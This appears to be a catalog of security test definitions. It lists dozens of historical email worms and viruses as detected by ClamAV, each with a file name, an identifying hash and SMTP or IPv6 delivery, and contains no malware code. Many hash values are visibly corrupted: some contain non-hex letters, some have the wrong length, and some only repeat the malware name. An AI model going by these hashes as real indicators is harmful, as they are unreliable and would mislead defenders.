Threat File Name:	VBS.Vabian.A.fc1fb498_IPv6.xml
Executive Description:	Email Virus VBS.Vabian.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Vabian.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc1fb498aac64d710ba367080ec93453. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mimail.k.k.290995b4_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Mimail.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Mimail.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mimail.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Melting.4784e42c.xml
Executive Description:	Email Virus Worm.Melting
Detailed Description:	This is the email virus Worm.Melting as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4784e42c3b15d1a141a5e0c8abc1205c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.08c05361.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c053615140e176a04f40de68ac5991. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anap.b.b.19bdlbec_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Anap.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Anap.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anap.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mimail.J.0d8a08fb_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.J (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d8a08fb0b8f6663b7e6a22e9e1be29. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Sdan.C.d2e41848.xml
Executive Description:	Email Virus Worm.VBS.Sdan.C
Detailed Description:	This is the email virus Worm.VBS.Sdan.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2e41848cb6696f91ldfe95c7b6033a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kelino.A.cd7cf3f0.xml
Executive Description:	Email Virus Worm.Kelino.A

Detailed Description:	This is the email virus Worm.Kelino.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cd7cf3f0f4dd649ce57df0d7b7fab34c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.35af9e51_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35af9e5184a02b0e39f8ee55d5ea0346. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ecopic.eco.add7ad76.xml
Executive Description:	Email Virus Email-Worm.Win32.Ecopic.eco
Detailed Description:	This is the email virus Email-Worm.Win32.Ecopic.eco as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ecopic.eco. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BWG.C.2e728958_IPv6.xml
Executive Description:	Email Virus Worm.BWG.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e728958bf1a78054543abl287933ddc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.d123b9ac.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d123b9acc88e6b9154202227658e737f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.GMetaphase.6clcf55_IPv6.xml
Executive Description:	Email Virus W32.GMetaphase (IPv6 Version)
Detailed Description:	This is the email virus W32.GMetaphase as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6clcf55c4c26fcfb83e2dcbb9a42e89. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.14726762.xml
Executive Description:	Email Virus Worm.Yarner.D
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14726762844fld3ede205b2eabf9dbf8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sint.9457158a_IPv6.xml
Executive Description:	Email Virus Worm.Sint (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sint as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9457158ad9955af10c3922574b35bf32. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lafon.d.d.1080bf86_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lafon.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lafon.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lafon.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.ci.52b8f283_IPv6.xml
Executive Description:	Email Virus Worm.Lee.ci (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.ci as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b8f283b9f62df8d8b0b4c877068601. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.55.85f11213.xml
Executive Description:	Email Virus Worm.Sonic.55
Detailed Description:	This is the email virus Worm.Sonic.55 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85f11213994c9d95beldaefdee565163. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.VBSWG.aa.aa.292c4794.xml

Executive Description:	Email Virus Email-Worm.VBS.VBSWG.aa.aa
Detailed Description:	This is the email virus Email-Worm.VBS.VBSWG.aa.aa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.VBSWG.aa.aa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Logic.b.b.01208271.xml
Executive Description:	Email Virus Email-Worm.VBS.Logic.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Logic.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Logic.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.055697d6.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 055697d68b3278441a3dc863ec4fce59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.533fe353_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 533fe35372e5660c7535a216e73cd0b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fintas.a.a503f729.xml
Executive Description:	Email Virus Worm.Fintas.a
Detailed Description:	This is the email virus Worm.Fintas.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a503f72989f440db5d9d274f048a3d6c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.F.d39fe366_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sobig.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d39fe3661843d69fbb9bb9b4264a24. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.68b13c38_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68b13c38e72cb978397d456824db4fb1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Ypsan.b.b.12592fae.xml
Executive Description:	Email Virus Email-Worm.VBS.Ypsan.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Ypsan.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Ypsan.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBSWG.ac.d4956efc_IPv6.xml
Executive Description:	Email Virus Worm.VBSWG.ac (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBSWG.ac as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4956efc0253b4089f9610fa240c52ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.ak.ak.be817e4a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.ak.ak (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.ak.ak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.ak.ak. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lacro.A.3f539f31.xml
Executive Description:	Email Virus Worm.Lacro.A
Detailed Description:	This is the email virus Worm.Lacro.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f539f312c5ab8f219a838808eb3ddce. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.GOP.A.44882f5b_IPv6.xml
Executive Description:	Email Virus Worm.GOP.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.GOP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 44882f5b23ea6e56b82b8622eed9337a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.h.h.dcd7089c.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.VB.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.25ef8d05_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 25ef8d05728dd13a8c0dc90fad9bd81d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.N.895d5751.xml
Executive Description:	Email Virus Worm.Bagle.N
Detailed Description:	This is the email virus Worm.Bagle.N as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 895d5751fd254d86420640392608e10d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.DG.837708e2.xml
Executive Description:	Email Virus Worm.LoveLetter.DG
Detailed Description:	This is the email virus Worm.LoveLetter.DG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 837708e2617938c65fea5032d424c48b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.1.1.5465177d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.1.1 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.1.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.1.1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Batzback.c.1b9eb196.xml
Executive Description:	Email Virus Worm.Batzback.c
Detailed Description:	This is the email virus Worm.Batzback.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1b9eb19619c4c67653158e0136b764f7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Heidi.33a4b865.xml
Executive Description:	Email Virus W32.Heidi
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 33a4b865b753d5f069ea4037b84298b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trillissa.D.17c39533_IPv6.xml
Executive Description:	Email Virus Worm.Trillissa.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trillissa.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c395331b882460b5c7f08d81c7b0e4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.65b6f958.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65b6f958f61f9255ebac1062f577d4dc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.m.m.5f9bd12f.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.m.m
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.m.m as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.m.m. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.VBS.Breeder.caeb734b_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Breeder (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Breeder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: caeb734b79391ce53f654951db868efc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.c.c.4fc73573_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.dll.dll.3c584e88.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.dll.dll
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.dll.dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.dll.dll. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.f298be77_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f298be77b569c772ebf0316f5dd3126b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.h.h.86883930_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gaggl.D.97d9f0fc_IPv6.xml
Executive Description:	Email Virus Worm.Gaggl.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gaggl.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97d9f0fc1632bce02d58171861232e0f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.c.c.b0db94c1_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.b.b.b311f402.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.PonyExpress.fel5c8b0_IPv6.xml
Executive Description:	Email Virus Worm.PonyExpress (IPv6 Version)
Detailed Description:	This is the email virus Worm.PonyExpress as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fel5c8b04adda5372e2fb52b7593fc87. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.H.47cc271e.xml
Executive Description:	Email Virus Worm.Mydoom.H
Detailed Description:	This is the email virus Worm.Mydoom.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47cc271e765e6cdf0562e692ce805b35. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.e.e.4f874b0b.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Cuerto.53f9d81f.xml
Executive Description:	Email Virus Worm.Cuerto
Detailed Description:	This is the email virus Worm.Cuerto as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f9d81f3fc621bfc336a5549ebe7398. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sowsat.F.f7db1120.xml
Executive Description:	Email Virus Worm.Sowsat.F
Detailed Description:	This is the email virus Worm.Sowsat.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7db1120fb96912faaaale8d2defbeeb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.MailTest.20b49737.xml
Executive Description:	Email Virus VBS.MailTest
Detailed Description:	This is the email virus VBS.MailTest as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20b49737d7206cee3f4971910fel4745. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.f7925c05.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7925c052ebc4d0978679f457dfbb438. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.dra.3d0ac91a.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.dra
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.dra. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lynder.b9fb4176_IPv6.xml
Executive Description:	Email Virus Worm.Lynder (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lynder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9fb4176489b0affb5b3f72a39618620. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Actem.act.0355dccc9.xml
Executive Description:	Email Virus Email-Worm.Win32.Actem.act
Detailed Description:	This is the email virus Email-Worm.Win32.Actem.act as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Actem.act. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zokrim.c.c.03063822.xml
Executive Description:	Email Virus Email-Worm.Win32.Zokrim.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Zokrim.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zokrim.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W98.Hybris.E.d8c4307d.xml
Executive Description:	Email Virus W98.Hybris.E
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8c4307da5901f19ddbc0e04f22a065d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heads.hea.971eel3b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Heads.hea (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Heads.hea as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heads.hea. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hawawi.B.816028ed_IPv6.xml
Executive Description:	Email Virus Worm.Hawawi.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hawawi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 816028eda7cfb31584888b6fa55becbf. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Repah.a.3b7622cc.xml
Executive Description:	Email Virus Worm.Repah.a
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3b7622cc2d22f974db01d10b6048ea0f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.97a21219_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97a2121937275c4d1d95a615afa69b74. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Propec.B.f32a0ced.xml
Executive Description:	Email Virus Worm.Propec.B
Detailed Description:	This is the email virus Worm.Propec.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f32a0ced79de0b18d2d269f14eacfb4e1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BDS.Griffin.Srv.7cb4da70.xml
Executive Description:	Email Virus BDS.Griffin.Srv
Detailed Description:	This is the email virus BDS.Griffin.Srv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7cb4da70100ec5a8cab001d3e66ebfab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Nobelman.A.967d561b.xml
Executive Description:	Email Virus VBS.Nobelman.A
Detailed Description:	This is the email virus VBS.Nobelman.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 967d561b178564aae1604658987ac213. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.6f49434d_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f49434d7e4532520372a4721a7a9aec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.78f6c62a_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78f6c62afclba55388deb3aca220e5e5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.b.b.819bfb77_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spam.Brief.d94551fc_IPv6.xml
Executive Description:	Email Virus Worm.Spam.Brief (IPv6 Version)
Detailed Description:	This is the email virus Worm.Spam.Brief as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d94551fcb68fbc72d8f513299da8afa8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nohoper.A.8c067312.xml
Executive Description:	Email Virus Worm.Nohoper.A
Detailed Description:	This is the email virus Worm.Nohoper.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8c06731243d8cca5fbee4285693ed837. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.7ce9e947_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A (IPv6 Version)

Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ce9e947b1d4e19eb2bebbf65ae27fee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.Ioana.A.e951c265.xml
Executive Description:	Email Virus Worm.BAT.Ioana.A
Detailed Description:	This is the email virus Worm.BAT.Ioana.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e951c265d6362769b94f669eb578e3f9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.NewPic.Choke.5de107c0_IPv6.xml
Executive Description:	Email Virus Worm.NewPic.Choke (IPv6 Version)
Detailed Description:	This is the email virus Worm.NewPic.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de107c014ale52dc609907c62e31522. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bridex.b.b.7bfc3642_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Bridex.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Bridex.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bridex.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Clown.a.f46aelf9.xml
Executive Description:	Email Virus Worm.Clown.a
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f46aelf9343581271dalle814935d772. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Longbe.A.4dc49e97_IPv6.xml
Executive Description:	Email Virus Worm.Longbe.A (IPv6 Version)
